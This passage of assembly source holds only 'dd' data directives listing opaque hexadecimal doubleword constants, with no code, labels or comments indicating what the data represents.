0B98F7A7Ch, 0E8FFFF48h, 16AD3745h dd 534D10h, 4AB3E6B1h, 6200342Eh, 15A691D0h, 2AB4106h dd 9705101Fh, 8440CBFCh, 0E900BA3Ah, 0EEE5A1A4h, 3F3E7518h dd 0F0146A72h, 8F3AC407h, 28C06F0Fh, 46107F00h, 8AF61D29h dd 4490CC00h, 0F68155D1h, 3F372B8h, 0D7722677h, 28D02BF7h dd 700930Fh, 21A09403h, 1CE23644h, 0C0CBE982h, 89656E91h dd 0F302C1C2h, 25887C4Bh, 0AF044BA1h, 0B42BD130h, 94F029A6h dd 0DD720098h, 36E5912Ah, 8017AD3Fh, 34D0452Dh, 445B1Fh dd 0EAA19540h, 8B744B7Ch, 0ECAA4800h, 2645EA3h, 0B87900EFh dd 166043F6h, 6F70D570h, 310B6200h, 1C51367Ah, 1F8B0065h dd 2A6EB23Dh, 687E1BCFh, 899D123Dh, 883C91h, 985E763Ch dd 0DE700F40h, 6A60BDC0h, 0D40FF92Ch, 80BBEE3Bh, 0CF82F6Bh dd 71BED5D1h, 0D311C06Fh, 684DB8EFh, 49FF1200h, 855259B5h dd 9077858h, 9C0AFE6Eh, 0F0AF1400h, 650008B6h, 0AA93A498h dd 240EB461h, 30C31D79h, 98913689h, 14F00C98h, 0F26B7D07h dd 0E6412515h, 188F266Fh, 56807516h, 0A7458E7h, 2E9B290Eh dd 0AFDEC00Eh, 3E158B19h, 0F10009DCh, 0C1E50B3Dh, 88C0C38Ah dd 9E39AA0Eh, 0CF99E88Bh, 0A30A6769h, 98070054h, 94EC0485h dd 0AA7B3C19h, 508CB20h, 58074680h, 0C4012FDh, 255D092Dh dd 0CF00820Ch, 16DDE3AEh, 2B83B400h, 0D5ECB7B9h, 0D27A03D1h dd 0CB88273Eh, 0A35A16E8h, 15B02200h, 5E65CA20h, 85EC00DCh dd 60E2B831h, 0F1003EC4h, 184CAB7Bh, 38C849h, 89FA82D8h dd 2FFEC3D3h, 33C73600h, 32945056h, 48F500DEh, 6412F885h dd 0B0EE5BEDh, 77A8FA07h, 600055C4h, 7CF78188h, 8E66587Eh dd 45AC6500h, 0E2D19610h, 0FF97E100h, 0B225A7B9h, 0B69B0032h dd 0C16892A3h, 7E010AA0h, 0F69CBCDAh, 0DC428AC4h, 43ADE02Dh dd 0EAC6B881h, 12B47F10h, 34658A5h, 0B0FAFD9Ch, 93DB27D8h dd 0E962E80Eh, 0DE91E3BBh, 0FAB5C0ACh, 0EF4E00A0h, 0D4C04980h dd 9601EE75h, 0CEFE7E51h, 0E360D370h, 0FD9900B5h, 0C3A73CC8h dd 7B58B9ACh, 0A40F78B0h, 2317F1DEh, 0B85CABC9h, 3E586BBh dd 0FD6081BFh, 78F0C66Ch, 0B600FE74h, 7DAE4919h, 0F5329A0h dd 85E0DDDFh, 6A2C46C0h, 0B300E744h, 3E6B82A4h, 1DFE2A3Bh dd 0C1539BDBh, 95F1FF9Fh, 0EF2D034h, 39A5DE00h, 0D18920CEh dd 2325005Ch, 0F8BE854h, 42048141h, 0B0153750h, 5A5D480h dd 7F55009Eh, 0D3918A9Dh, 7A0082AAh, 3C9F4CDEh, 4959B6FAh dd 40284C78h, 5B05007Ch, 0CD7F5413h, 5E00932Ah, 4F5ABBCh dd 18B21Dh, 776A0C69h, 1B853549h, 59CEC100h, 0C9E5C2FCh dd 0AD6E1DA4h, 7638800Dh, 0B6CA9E8Bh, 0A200B892h, 0E87DE0B5h dd 0A43ADEh, 60FA0BADh, 34858BE1h, 1BAB4600h, 0C78D8318h dd 896A63D5h, 0E6887073h, 9159B748h, 3AD33DBCh, 74FBE04h dd 40B382E4h, 0DFE3AD17h, 7649E07Ch, 127D0C39h, 0C49AFCEh dd 0E50062EAh, 7814D91Ch, 0ACF185h, 0FA35A503h, 0C0E9D7CEh dd 7E219000h, 0BCC69D4Bh, 0B04603ACh, 0B20B4592h, 0E5D54DE0h dd 33057C00h, 0A7609717h, 13770C1Fh, 0ACF02E26h, 0D8C344h dd 0FB54E3B5h, 0A7F17EBFh, 0C2EABA0Ch, 889123h, 0E061FD8Bh dd 97DA3471h, 60664D2Ch, 247700BDh, 5F8E497Dh, 79731C61h dd 62CE0630h, 0D3194103h, 0C5311AC9h, 1ACA4C8h, 0DEC189E4h dd 0F494B0ADh, 1407074Bh, 9CE6D939h, 75855DD0h, 923801C3h dd 4CF4E4D7h, 0C8D0FCEBh, 0A61B4400h, 460F1FC5h, 58040083h dd 0DAC4249h, 6802665Fh, 5A7B183Ah, 234468FCh, 83DC1F11h dd 2B450109h, 0F016323Ch, 0A60040F7h, 0B490888h, 18EC1336h dd 0B8962968h, 9D00018Ah, 0F2E30FB2h, 1C2F3F64h, 80C552E6h dd 0BD8CC809h, 5B005030h, 9A6FCEC0h, 36DDF77h, 0FE2244ECh dd 4802195Fh, 0D7DB427Ch, 0E650E08Ch, 0F8530070h, 7712F20h dd 95180512h, 3D219A68h, 7764000Dh, 0C0759078h, 0F44A17D8h dd 0ACC40400h, 0E2AF7CFFh, 0C9B125A2h, 0C302180Bh, 0E0E0D470h dd 8000DF85h, 5E8FCCBCh, 0D3742Ch, 78346D9Dh, 8DC85A07h dd 8BD41F14h, 87F238C8h, 9AF9EBB6h, 956C1A0h, 8898006Eh dd 6973363h, 5B002EB1h, 404A3858h, 357AEDh, 4B321D47h dd 0E0E75C51h, 898A6801h, 9EA29CBDh, 391AE3D4h, 6D00CFC4h dd 994BD1A6h, 0F0EA8F8h, 0E0CA1CE7h, 22647CDBh, 0DF650045h dd 337AA212h, 190014F9h, 3123602Ah, 66ED962h, 0C4304435h dd 7F01D282h, 0F8745D1Ah, 71FC5B34h, 108600DCh, 0DEB84D90h dd 38C0A1B7h, 87B5D214h, 5F3B3D7Bh, 0FFB1898Fh, 62FA6FDh dd 28A06B98h, 4F5A3600h, 83063B27h, 9A940079h, 8DFF1DCFh dd 0D900668Ch, 0BB7E2FDBh, 28F8B3C0h, 5CB81E49h, 55DEF0E1h dd 0B605D0EEh, 32B8A0h, 0A5EC72E4h, 451217A2h, 0D4805357h dd 0E3270ACh, 783765E8h, 1C29CFA0h, 7718FD50h, 9A2E7438h dd 0E4D00922h, 0D4986023h, 4D00581Eh, 8B6F64F0h, 12075CFEh dd 1F7E59E6h, 0B3C6C20Ah, 84A6379h, 855FDF00h, 44F6B55Dh dd 7D593A07h, 8B015B4Dh, 0EED8CDE5h, 0E6850172h, 0A7310582h dd 8149E58Eh, 0CD7561C8h, 1187F83Ch, 0B05E321Fh, 7122EB09h dd 238FB104h, 7080BBC3h, 0E8A3ABE8h, 0FC11CEDFh, 0D19051A0h dd 36006061h, 0D3766389h, 749B1356h, 0F4060617h, 30796998h dd 3C414A04h, 48D0ECABh, 5BBC06Fh, 877A1058h, 4A9C005Dh dd 394727A6h, 0EEACF7A0h, 0D3F828EEh, 8812B900h, 7F0D82D6h dd 53AA0745h, 70DC2667h, 164D8F36h, 700450BFh, 119D1888h dd 67F410E8h, 0EABF0300h, 2153441Eh, 0C7750024h, 18B8CE07h dd 520748FFh, 0D963D8C1h, 8E81D760h, 0D4760045h, 7586BFD2h dd 96009599h, 72E3FBFCh, 3D21E1h, 3B6882F3h, 38D04DAFh dd 8C1EF11Eh, 0EE3F5080h, 269CF3BCh, 83D2C5h, 8E78060Ch dd 30009D3h, 23053A6Ah, 2125C2h, 9A7FB6F0h, 8AEEC998h dd 0A5ED10Fh, 77F64059h, 7C6C5Ah, 0A34E0CE8h, 6476A0Eh dd 8159EA00h, 97401C91h, 0D882CF9h, 46BB0078h, 10F3AB77h dd 610099EAh, 0B01BF124h, 0A2DBD3h, 0F7B85DCAh, 0CBBE987Dh dd 109E2F03h, 0DA547BFDh, 2A986064h, 2CED0087h, 0F72A6CAh dd 1998C669h, 8B99F30Fh, 14A800E7h, 533DCDh, 71481C6Dh dd 1BF62F8Dh, 7A2A545Ch, 20FF9627h, 7AE64DB8h, 2D2E00FCh dd 0E18A3E5Fh, 822DCC7Bh, 1D817891h, 0D74ACEh, 0BBFA9CAEh dd 200B4EEAh, 17A0E90h, 3C221D58h, 25A92330h, 0DC248784h dd 41C02F14h, 0F19E66BAh, 962D0084h, 397A0C25h, 0CD242F5Dh dd 707BC37h, 8E838528h, 811303Ah, 58A45440h, 1E89A600h dd 9FEF76EBh, 44360565h, 0C7D822D2h, 0A6A750BEh, 0CBF81FF5h dd 0DD582D00h, 52439D59h dd 0DECE0069h, 3B1D19A9h, 0A3043EEAh, 66480E7Bh, 380FD4A6h dd 1D0885h, 4ADE5925h, 0EC3A0EB1h, 9AB40194h, 0CA36B339h dd 9C01282Dh, 1DE06B52h, 7B382DE5h, 16C73700h, 42EBD6B4h dd 0B0A4E279h, 9ACC0057h, 0FC81CA78h, 801D3417h, 2241104Dh dd 7EA0FED2h, 12520287h, 80409E76h, 7619B26h, 0CF4C100h dd 88F3689Ah, 85360057h, 33D3B1A8h, 6500BFB4h, 4A780223h dd 0F073CC09h, 8BDA03BDh, 1B0C0332h, 0B26FAF0h, 80B47B38h dd 27EF4B73h, 652E7Eh, 6BD56ACCh, 0BD6D9BCh, 70001276h dd 9F07BB0h, 0F8FA6EB8h, 3E040E02h, 6CA0A294h, 0E4955BDFh dd 0AFB49C0Ch, 0B8B7F8ADh, 5D38005Bh, 8B856807h, 8CCD82Fh dd 385821B4h, 0E100384Ah, 9C4308FFh, 0BD00A02Ch, 6B87B107h dd 9C39BB5h, 78F4DDB7h, 505660E0h, 0A6676D00h, 9E99AA53h dd 7508CC4Bh, 5800B921h, 0A26696Dh, 17703697h, 1B19D995h dd 38AB5008h, 0D3A02818h, 8298EE18h, 0C08EE02Fh, 4038C98Ah dd 0A6636D54h, 72223346h, 6D5C6500h, 23956C3Ah, 147387h dd 6ED17D15h, 9024A953h, 0AB831800h, 2720AE52h, 204FE829h dd 76018841h, 0B35FF497h, 3420BA0Eh, 0A38BA336h, 0CA214C65h dd 21B15F00h, 0ACB8320h, 8027D138h, 3C2C6436h, 617A766h dd 99FBB479h, 0B77F705Bh, 9C5AA000h, 0FA35D533h, 7A090014h dd 22FFF54h, 67FAE666h, 925ADF00h, 8E377650h, 0D08500F3h dd 250A2297h, 3600091Bh, 9D935DD6h, 50632834h, 7898FE6h dd 14FB380Ch, 13FDF0A3h, 0DA0EE2CFh, 0E069247Ch, 100622F0h dd 9F0500AAh, 0BCCB431Fh, 400E5D6h, 0CFD09DFFh, 1E3DC92h dd 0B96AA80Eh, 0CFC264E1h, 0AE73D7B0h, 8B0071FEh, 76DBB4C7h dd 32EE9AFh, 0D9A22982h, 1BDABC9Dh, 0F99CE3C0h, 0FE38A50Fh dd 22DF0064h, 0B7809Eh, 5D7C8905h, 8A6301F2h, 0F4E01000h dd 0CC9AEC7h, 3006012Fh, 798603CDh, 1D0701Ch, 23741400h dd 39427361h, 0E0904Bh, 9A674FEEh, 15A60D38h, 6410EA00h dd 0C75927D7h, 0F0780003h, 5D3B4401h, 16380D8Fh, 0BCB90040h dd 5AC6A589h, 765C0073h, 3A476F9Dh, 6D1313C1h, 13003DC0h dd 9EDB8C7Bh, 2A8D07E6h, 25CD1257h, 1FC1004Bh, 0C0E7BB19h dd 0D51BEB1Eh, 697C3D00h, 4C7401h, 2BBE9F77h, 431CF071h dd 0BD0093B8h, 1BB8EA2h, 2EA0737h, 0A3B69FF8h, 18C0D680h dd 49008126h, 0D82E756Fh, 96A588h, 6778F20Ch, 81191C65h dd 6651CE60h, 608B6ECAh, 74642824h, 4800C4C7h, 117005BEh dd 58F6E0FAh, 3B18C3F1h, 0DA57515Eh, 2D2B4100h, 29E6CF6Dh dd 22A300B8h, 631E7869h, 0DB0083FEh, 0F4498ED7h, 0ECCE7097h dd 967098h, 7E532C15h, 388146E4h, 330A0C00h, 1A6D35Dh dd 6EEF00E0h, 4A066A41h, 70C04B8Fh, 1FECB030h, 2D30E13h dd 56A08B61h, 7B839DF8h, 79007472h, 31AABE9Ah, 3A5D80h dd 75DD9E39h, 0F2D5547Fh, 3213500h, 41136308h, 2A8005Eh dd 0BF4471CFh, 0AF004691h, 0F52E79DCh, 531B45h, 7336E899h dd 6729BB2Ch, 64800B00h, 0AD95611Fh, 0D4A70CDEh, 0BB11506Fh dd 0DAE9F100h, 35CC8B20h, 0B834606Ch, 21DC5751h, 0B8D7F407h dd 0B2D7DAD4h, 16107F37h, 7D70C901h, 5B2B28F6h, 0FFA500C8h dd 12DDC4BAh, 3754728Eh, 9BE278B8h, 0D26D3300h, 6E86B68Ah dd 0E6AB03FFh, 0DA721EF9h, 46F415A8h, 7EDCEF00h, 90563147h dd 0BA70124Fh, 0B57A00DEh, 92DA427Bh, 0A911B03h, 11B09CBFh dd 7C2780h, 29DBBB4Fh, 0EEFF8301h, 4BCA0FD6h, 0D3215006h dd 83FE149Ah, 87F820A1h, 400A98C1h, 12EB7949h, 1D09444h dd 0D7B04FEAh, 52422FBh, 57473DE3h, 7E00FCECh, 93865494h dd 0F3482271h, 295B0044h, 262FAB8Ah, 990B009Ah, 0F514A497h dd 3A00A138h, 0F3B0C4D9h, 18DE5CD2h, 295A9B87h, 894E9E18h dd 1EC0ECF0h, 40B997E2h, 3B34EAE1h, 7E76DBB8h, 3D2F001h dd 0A1BB3F4Eh, 0AF31E8h, 7A901053h, 13F0E72Eh, 113E5700h dd 18EEF15Fh, 0F85000FBh, 2233EBF3h, 6604F6B5h, 0AEA4B28Fh dd 2C425490h, 267000DDh, 0C34D7B96h, 0E13013C8h, 664C2878h dd 223926A9h, 0DFFC1F28h, 0C0591CD0h, 7329C065h, 76000926h dd 0BA84CB79h, 90431E9h, 0E2DFD755h, 4F870055h, 733D47A6h dd 2AE60190h, 54D4C36Fh, 0F9CFC450h, 98637500h, 4C247730h dd 7CB41D94h, 3443803Fh, 28A5E1E8h, 5B00C4F4h, 0AF3D2372h dd 0B3F675h, 385621A6h, 92A17D3Bh, 0BDE73C1Ch, 18E3E840h dd 1D521E66h, 0BFB657h, 7E683EF8h, 4248C5D6h, 7D7C0014h dd 6E778912h, 64DB0087h, 0D48A0FBDh, 0C7004019h, 2376DAADh dd 1A8D653h, 796670EBh, 30A127D3h, 32004484h, 0BF052868h dd 7E5C40h, 75EB4D90h, 476D08B8h, 19C37600h, 0A5987A9Bh dd 0DE4300ACh, 1F952644h, 391ECE1Ch, 60BE665Fh, 614ECC90h dd 0B0467B38h, 7E670220h, 189EF377h, 0BC1CA048h, 82D9E001h dd 0DABA5D63h, 12959DF0h, 1AF0B6h, 0DDCB464Ch, 0EF029F60h dd 6F3CD275h, 71EBC0D0h, 56390037h, 0B33DCAE4h, 69DD3DBh dd 50816D8Ch, 0D688EBh, 0E55D7778h, 0BD398702h, 5F8B54Ch dd 751F7AD7h, 6080DC00h, 1283A1h, 11D55287h, 0B0DE5DEFh dd 7E8A9700h, 0C59634BDh, 0E018C7E2h, 4CAA0193h, 59108010h dd 0F5690307h, 4BBE02EEh, 45A67E3Eh, 62D9FB60h, 0A700C3ECh dd 2D9C54D5h, 1D4BDh, 0C1898DB0h, 0EA612E41h, 4A00A6ECh dd 0D01E4F78h, 705AC5h, 7CC6798h, 28E813EDh, 90A1C800h dd 0E20E2AAEh, 3645092Dh, 0D092D0FDh, 7BBCF880h, 44005118h dd 0E4795012h, 0FF311Fh, 5C9E6059h, 644BD57Dh, 0CC91A700h dd 65D31294h, 997DDBh, 5DE7C8F9h, 1EB7CE46h, 0E6015B09h dd 70C0041h, 3CCF05h, 514AD51Ch, 0D466F8E8h, 83AABB00h dd 9EBA2E88h, 0FC520067h, 6EE22F25h, 0F100904Ch, 2ED36F41h dd 2660870h, 3AA7B29Fh, 0C8C13967h, 0C5EAFC15h, 12BFC200h dd 0E544CD19h, 13450022h, 0E4BEF18Ch, 0B600995Fh, 0B11C1D95h dd 39DDD2D4h, 0C13A0B54h, 0FB591200h, 22B80CFCh, 80AF673Bh dd 0C6A36936h, 0FB1E314h, 63C77243h, 69CAAC26h, 0D0913405h dd 0B890C5F6h, 26D14AEh, 0F5FA0209h, 8C6B04EBh, 1BE71EA8h dd 0F8CD8900h, 0A9539A7Ah, 0BFD50066h, 7D949CF5h, 0D40067ABh dd 9ED1ECBCh, 0C06BAE56h, 7C959F11h, 0DF0090ACh, 33A5EF91h dd 5C34F32Ah, 0FE18174Ch, 955481F7h, 0AA01BA76h, 977F949Dh dd 0B540ADE4h, 0B2475D73h, 0DFA9E404h, 963AE020h, 4E2BA5Fh dd 13B2D5A5h, 0CD9F7C91h, 0EC722C40h, 4C1F1DF3h, 183604D4h dd 20B3C05Eh, 0C3163259h, 750C39D7h, 18C2204Fh, 481F9DB7h dd 8F0068CCh, 47537197h, 2496E60Bh, 954D89h, 0A7C8304Ah dd 0FC3CEF58h, 9CBB14AFh, 83911C40h, 67031DDEh, 0A3C3C53Fh dd 0AC491E3Eh, 5B9A005Eh, 0E3123149h, 0D2E07C00h, 8B295893h dd 11F200F5h, 3F905B86h, 147667F6h, 0CA3B2603h, 0A86AACF9h dd 1E614708h, 582DFF68h, 2A257967h, 184A810Ah, 2900CC65h dd 464C6B2Ch, 37A5099Eh, 0EA005254h, 576E5362h, 6610703h dd 0A83648EEh, 72DC56h, 381AF42Dh, 0EDBD28A4h, 0D9AD9700h dd 31B0C3B6h, 87690050h, 0AA36C74Fh, 48001632h, 347BD8BFh dd 0F42341FDh, 222C00D5h, 0CF617F92h, 211E3FF4h, 660F340Fh dd 0AFC6403Bh, 3F0B9CA7h, 0BC8399F0h, 0BAB77E03h, 0C0B58CD8h dd 16A0C22Ch, 0FD40661Dh dd 5D5A5865h, 15F1007Fh, 3CF7469Eh, 0B3F7902h, 0E0A504D5h dd 80C03E68h, 48956E06h, 770471B8h, 935502F6h, 3EF82C1Ch dd 0CB186920h, 0A6B83140h, 0EB210C57h, 500228AFh, 6DC8F400h dd 0FDBAFB9Ah, 0E4A858B1h, 3F77A13h, 9872020Dh, 922A681Eh dd 0AB576C5Dh, 42E65404h, 0B9FEEB43h, 0D20B10E0h, 80CD943Dh dd 7001A892h, 322D7Bh, 0B5AF1890h, 0BCA3729Ch, 95BED402h dd 81284683h, 25E754EEh, 301B41D8h, 1C701EBFh, 0A01E504Ah dd 30FC7C34h, 93898BAh, 3243951h, 0DF07AC3Ch, 10F96750h dd 6507943Ah, 0A253EC18h, 98871CF9h, 0F5BD0033h, 0A61D83D3h dd 3A00BB8Ch, 4F39C684h, 88E397h, 0D848229Ch, 6146B3E5h dd 6C17C00Fh, 43AA6083h, 35A55C7h, 5CD7440Eh, 0F92E53E8h dd 0A760C054h, 23A7A8Dh, 6DCA8EADh, 0DA601D3Bh, 0B51E5150h dd 0C0004532h, 407D2B26h, 0D54F1E7Fh, 22444059h, 0CA4C7881h dd 80BCE53Bh, 1B61F1Bh, 390EBD0h, 0F0E32050h, 1DE59A44h dd 8555C08Ch, 0C0A876D8h, 0B739AE14h, 961600C8h, 981C789Eh dd 0AC06246Eh, 486C82CCh, 1CC00AB9h, 48901BE3h, 5FDFCF00h dd 0E6841EDAh, 0DB89033Fh, 1C52539Eh, 0BBDCA9C8h, 1807AE4Ah dd 82F28046h, 0C65BC10Eh, 0F19030h, 7ACB0370h, 1DFA62EAh dd 4ACAA702h, 80D6216Bh, 98C4DBB2h, 0F91E18F7h, 0B676A099h dd 0A4AD7E04h, 54D3541Dh, 5B3DF857h, 0F8CC007Ah, 0ACFA401Bh dd 98004410h, 3B0E9002h, 4B99424h, 9F4C19D5h, 0C97CC03Dh dd 100FD0BAh, 0C09AFC09h, 787734ECh, 0A0486085h, 0BF668D68h dd 2C0E093Bh, 2D2623F4h, 80539F0Eh, 0FF257505h, 0AF653CD1h dd 47553E81h, 60E8E59Bh, 460056F4h, 0E13B0B40h, 315B10h dd 4D927A95h, 0E7D8BAD4h, 72A98E0Fh, 0A6C7E0ADh, 7B187783h dd 6CB2001Fh, 3B802B34h, 2300C86Ah, 1311D887h, 0F0FF8FA4h dd 0E99000DCh, 464DB3E1h, 0ED002749h, 0F9A8C003h, 9A772h dd 472915CEh, 2B52339h, 0E8AC7703h, 0F4BF21h, 711E1F16h dd 0C88C573Dh, 25F0DF7Fh, 98C535Ch, 40E2E5B1h, 3DAAF2CCh dd 0BF04AEC7h, 801ED150h, 0E4A5E708h, 5379F501h, 393FCC0Fh dd 0BAE1E6F4h, 8B720094h, 7CFFF586h, 0FD00325Fh, 0D21704CEh dd 0F98296h, 38430C9Ch, 1299F27Eh, 0D932CA1Fh, 0CB6A8AC3h dd 0C05D948h, 919070h, 7C863FBFh, 64FFB849h, 20CAE10Ch dd 0F721D6h, 2B9C5911h, 91C42CF0h, 0AC7F49h, 0A222299Bh dd 1C14550h, 4F25D3A1h, 0F0FBB282h, 0EE25EBC8h, 0C7388416h dd 1C2038C1h, 96411180h, 37BBD085h, 4CA2261Eh, 832E5AC0h dd 1215C6F6h, 174EB07h, 55E6F0A4h, 201C294Ch, 488907CAh dd 0BFCD1FBDh, 969D02C0h, 643F39CFh, 0A09814A6h, 2BFB0094h dd 4A2D5AEBh, 89215008h, 84570090h, 0EEE5C8ABh, 3348A27Ch dd 0DDCB0228h, 41AF5CE0h, 94207610h, 9E1900C7h, 0E9D9A057h dd 0A0042F3h, 0E0482F20h, 0B85084CAh, 0DC3E2870h, 64F09Ah dd 0C59DB06Ah, 553428EAh, 0FCD35D1Eh, 7E171EC0h, 3EC4E1Ch dd 7475B32Bh, 0B498ED87h, 12005758h, 0B5139833h, 8B6DC5h dd 442F4943h, 0B705533Dh, 0C689301Fh, 0D0C0C8D3h, 15D040Dh dd 0AECC37AFh, 0EC51E3DCh, 94F0E190h, 0CAB49D09h, 0F61C4466h dd 0FDC6804Dh, 102F3Dh, 6E9215DAh, 9E84E2h, 87AFB5B4h dd 0C07744B1h, 0CD163A7Dh, 370078D2h, 769C35E9h, 0B1767Fh dd 7041A04Dh, 5175EBB5h, 9D935B3Ch, 434F8D9Ch, 0C0CCA00Bh dd 0B4EC84D6h, 75D70018h, 0B59082BBh, 0D2437C00h, 91B1BE74h dd 3F201E8Bh, 6CB90009h, 702138BFh, 80A1933Bh, 4008531Dh dd 3E1AF587h, 0D8818E58h, 0C978C6BAh, 823CEC88h, 0A8B9E672h dd 5B72E200h, 0DBBC48h, 7690217Eh, 31BA6D32h, 972F7400h dd 0B56C3373h, 63797DD6h, 30BF1193h, 44962CE8h, 0DD510AC0h dd 5056755h, 15C2394Bh, 0E5BCD79Ch, 0C4F8C831h, 0BBFCE707h dd 0B7419F4Ah, 18BCCDDAh, 9310FF31h, 0FD8711D8h, 190C3FE0h dd 20581DD6h, 0C3FDEF90h, 982897E4h, 325C2C53h, 2D960EA9h dd 0E12199F3h, 4AD4D0E0h, 0B02423B1h, 6A4229Ch, 330A084Eh dd 2812904Ch, 38884612h, 62AC809Ch, 0EF4CC5Ch, 60BD94A0h dd 0A2DB73F7h, 45F90034h, 0A31C5FF6h, 180F7B61h, 0C0BEF542h dd 59DDE3D8h, 9ADA008Fh, 37FE76A1h, 443D7302h, 0AE991ED9h dd 70D094EAh, 8369B004h, 0ECC30C4Fh, 9619F158h, 61FE6F1Ch dd 0A091F28Eh, 45F8CE84h, 162F075Bh, 96AB18F0h, 80003048h dd 68E10B3Ah, 0A8D71C83h, 924B88h, 12F9E8E2h, 7D3778EEh dd 0C5F15E00h, 71230820h, 0E46A355Ah, 8D158120h, 4E03F5AFh dd 70041120h, 571FCE87h, 0D0C99C53h, 3FB0B802h, 8667BB4Bh dd 5408D39Fh, 131808Ch, 1272B0A0h, 0D84EC068h, 2837F610h dd 7781D88Dh, 0F09F788Ah, 0AFA80897h, 1F9B7603h, 502FB6Ch dd 7E683C49h, 0AC9449EFh, 38B44410h, 0F1B06903h, 0FACABCE9h dd 0EDB0A2FAh, 4EB890C3h, 16680C05h, 0E560D354h, 0C2BDB007h dd 0C0105089h, 7C42496Dh, 96F8C2FEh, 8C81330Ch, 0D813C2D4h dd 5D48FFFCh, 40D130B8h, 18681032h, 10AE60DEh, 0F6310F4Ch dd 0ABBFC843h, 0EF004822h, 349F2D48h, 221E5749h, 0A1B06B0Bh dd 3409DE4h, 6159282Ah, 26F0FF7Eh, 0AE0073E6h, 7688069h dd 15A09C97h, 0B8F6DB6Ch, 9A1E200h, 58B2F04Eh, 24488422h dd 609C6BF5h, 0FBA1133Bh, 0E61FEC18h, 191DF2DAh, 0B0D5C416h dd 53DDF048h, 0B628F97Ch, 10638F43h, 0D009FC99h, 0CC3796DFh dd 0ED899E80h, 21DE21C2h, 6A98C0B6h, 1298D1h, 2FC574DAh dd 37CF5B39h, 63897060h, 7EBAB138h, 13FC1F4Ah, 7508B3C2h dd 20062100h, 0A861F1B1h, 0BF2D2846h, 5EA620A4h, 50C6970Dh dd 0F0F8B0CAh, 0E0AB48A5h, 0EEE5FB87h, 0F3444CA0h, 0DC66D447h dd 21FE08h, 7350CD32h, 77094BD0h, 5B44007h, 7AF3B29Bh dd 0A1600190h, 92CB4658h, 2B882466h, 0A6724BE8h, 449D109h dd 2A5881C2h, 0D82014D0h, 0F36426F6h, 6F5A030Ch, 48188CEEh dd 13D16E34h, 310A0039h, 20A36025h, 9F019C49h, 0F4E1254h dd 30807482h, 3270EEBAh, 0F1485D8Fh, 13423A8h, 4B3BB0BCh dd 0DD000E9Bh, 7F83B0A4h, 15000436h, 5AC1681Ah, 5643B160h dd 1D13E421h, 57A00AB6h, 43E4C4E4h, 0D5B635D2h, 74ACA9C0h dd 83700092h, 1A6C12FBh, 0C61496C3h, 88C0A310h, 5039C0A1h dd 0E4464C08h, 3607FD22h, 0A73F50E1h, 941B6440h, 0AB60F469h dd 4708B894h, 138201BAh, 0EBEFBFD7h, 4E85C8B0h, 14C3F100h dd 63B1805Eh, 1CC5142Dh, 47B44F6h, 2633DE08h, 0EA54C25Dh dd 84EC4809h, 0E98F1371h, 0C1A82748h, 874590F5h, 10A1C221h dd 8E042182h, 829F91BCh, 0A34B3EB0h, 0A936021Ch, 9499BB0h dd 0E0EFC460h, 68C7ED88h, 11947163h, 50E780A3h, 8C144C1Eh dd 30FF44h, 770650CFh, 72F6739Eh, 0F2DFD700h, 451A1F4Eh dd 46D092FEh, 8FB3D0Bh, 0CF079639h, 33DC0371h, 0B8EC35B6h dd 29B1D69h, 7446080h, 8C921627h, 60358004h, 233AB085h dd 0A411834Bh, 0B0AD3207h, 0ED95B08Eh, 75012504h, 9249F853h dd 0C441FF1Ah, 6180C8AAh, 51992E4Ah, 0C200EDC1h, 324B5AA0h dd 90904FAAh, 0D33C202Ch, 5E87760Ch, 111CE872h, 688706Ch dd 96DE92B2h, 0AC351858h, 0FF8889CBh, 40EED50Fh, 5C8E4Fh dd 76A6F44h, 0AC2B1F85h, 21F040ADh, 1D25A9E0h, 6C99B20Ah dd 8038DCE4h, 479E3A23h dd 4D8C297h, 37109172h, 0A10906Fh, 0FE00C617h, 2867EFEBh dd 0A3C5220h, 9F184A76h, 96E585F8h, 80BAC4EEh, 5A4B3404h dd 0A8E20233h, 0CCA381BCh, 25BA28BBh, 9277C301h, 0E4FA2B05h dd 6359784Ah, 389848E0h, 17DB1880h, 36AE2010h, 0B0B80533h dd 8A7DE31h, 0B8BCC682h, 0B3E9AF00h, 4B366539h, 9D9E1200h dd 0EE6AB183h, 0A8FD50A4h, 0EC103F22h, 5F43D1E2h, 4E2504C0h dd 1AFC63Ah, 4AF3A719h, 1830FCCFh, 8048C26h, 1F9636B6h dd 0D120E262h, 67BB620h, 0DB6058D5h, 0CE0CB8F9h, 71CFAA13h dd 1CD733Eh, 401614DDh, 0E509B3D2h, 0F233C04Ah, 0A0E830C0h dd 37B428CEh, 20A9CA36h, 0EB6AC0FFh, 2B4F5305h, 0D0C0D47Dh dd 0FA26F50Eh, 3A400334h, 0A5E0161Ch, 1978E848h, 4441D937h dd 0CA35FCh, 9498A21Bh, 1570ED82h, 493DDC02h, 89FA765Ah dd 0E25084D0h, 85B19067h, 448CC74Ah, 21000548h, 9B73E7B1h dd 30F2CDEh, 16967A50h, 88390324h, 0ABDB08F6h, 594300F1h dd 0E784FB08h, 9CEC6B2Ah, 0EEE50112h, 296E9E03h, 0E105A0E9h dd 0AA711238h, 844804C2h, 0AF20CC5Ch, 503B048Ch, 62344CFAh dd 0E39420E7h, 5324D050h, 0F180909Fh, 4547F6F9h, 4CEE50ECh dd 7627124Ch, 0A6B40581h, 3069D684h, 0B1102Eh, 3C2B2CDEh dd 1C018094h, 9525A71h, 431DD617h, 42DBC404h, 7640C448h dd 39E9F75Dh, 6683035Eh, 0CB866F4Eh, 4455981Fh, 27B6CE40h dd 3A87ED1h, 133AB39Eh, 1F9AC722h, 3B4430E7h, 247C160h dd 0C0848024h, 0C14F708h, 1CD19EF5h, 1B705807h, 68C391B5h dd 2197712h, 7F88AE8Bh, 94644F6Ch, 3A832CA0h, 16624908h dd 324A00CCh, 0F69646F4h, 508B1E32h, 62012047h, 28C05576h dd 4B6D425h, 0DD4C1256h, 23483A17h, 7EBB013Bh, 918BB7D8h dd 0C404F398h, 0A6EC8490h, 0F57FE0D0h, 2494B16Dh, 0FB930878h dd 8D145D00h, 0B09515D6h, 1F733024h, 0D147D419h, 0F8B4EB28h dd 9C1E772Ah, 2F801850h, 2516C488h, 9C0C74DEh, 3203EBF8h dd 46392D4h, 22BADBA8h, 0C0C84330h, 0B0A7C033h, 0D3434B3Ch dd 0B0AF3080h, 0D4164B35h, 613EECBh, 0D6A42840h, 6B967748h dd 98801067h, 73AEA07Fh, 886FF126h, 3330E603h, 32782344h dd 3DB0A601h, 8F18AB4Bh, 13AE3388h, 1202D1B0h, 4EC0204Ch dd 47423762h, 3308CB33h, 4FDC97E4h, 21613486h, 0EFD7800Fh dd 0A0ACC0B9h, 